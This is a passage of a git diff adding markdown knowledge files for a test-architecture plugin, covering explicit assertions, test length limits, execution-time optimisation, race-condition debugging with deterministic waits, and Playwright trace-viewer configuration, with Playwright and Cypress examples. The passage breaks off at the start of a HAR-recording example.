+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
+  const response = await page.waitForResponse('**/api/products');
+  console.log('3. API responded:', response.status());
+
+  console.log('4. Waiting for UI update...');
+  await expect(page.getByText('Products loaded')).toBeVisible();
+  console.log('5. Test complete');
+
+  // Console output shows exactly where timing issue occurs
+});
+```
+
+### Technique 2: Network Waterfall Inspection (DevTools)
+
+```typescript
+test('inspect network timing with trace viewer', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Generate trace for analysis
+  // npx playwright test --trace on
+  // npx playwright show-trace trace.zip
+
+  // In trace viewer:
+  // 1. Check Network tab for API call timing
+  // 2. Identify slow requests (>1s response time)
+  // 3. Find race conditions (overlapping requests)
+  // 4. Verify request order (dependencies)
+});
+```
+
+### Technique 3: Trace Viewer for Timing Visualization
+
+```typescript
+test('use trace viewer to debug timing', async ({ page }) => {
+  // Run with trace: npx playwright test --trace on
+
+  await page.goto('/checkout');
+  await page.getByTestId('submit').click();
+
+  // In trace viewer, examine:
+  // - Timeline: See exact timing of each action
+  // - Snapshots: Hover to see DOM state at each moment
+  // - Network: Identify slow/failed requests
+  // - Console: Check for async errors
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+---
+
+## Race Condition Checklist
+
+Before deploying tests:
+
+- [ ] **Network-first pattern**: All routes intercepted BEFORE navigation (no race conditions)
+- [ ] **Explicit waits**: Every navigation followed by `waitForResponse()` or state check
+- [ ] **No hard waits**: Zero instances of `waitForTimeout()`, `cy.wait(number)`, `sleep()`
+- [ ] **Element state waits**: Loading spinners use `waitFor({ state: 'detached' })`
+- [ ] **Visibility checks**: Use `toBeVisible()` (accounts for animations), not just `toBeAttached()`
+- [ ] **Response validation**: Wait for successful responses (`resp.ok()` or `status === 200`)
+- [ ] **Trace viewer analysis**: Generate traces to identify timing issues (network waterfall, console errors)
+- [ ] **CI/local parity**: Tests pass reliably in both environments (no timing assumptions)
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (healing timing failures), `*test-review` (detect hard wait anti-patterns), `*framework` (configure timeout standards)
+- **Related fragments**: `test-healing-patterns.md` (race condition diagnosis), `network-first.md` (interception patterns), `playwright-config.md` (timeout configuration), `visual-debugging.md` (trace viewer analysis)
+- **Tools**: Playwright Inspector (`--debug`), Trace Viewer (`--trace on`), DevTools Network tab
+
+_Source: Playwright timing best practices, network-first pattern from test-resources-for-ai, production race condition debugging_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/visual-debugging.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/visual-debugging.md
new file mode 100644
index 0000000..710ec46
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/visual-debugging.md
@@ -0,0 +1,527 @@
+# Visual Debugging and Developer Ergonomics
+
+## Principle
+
+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
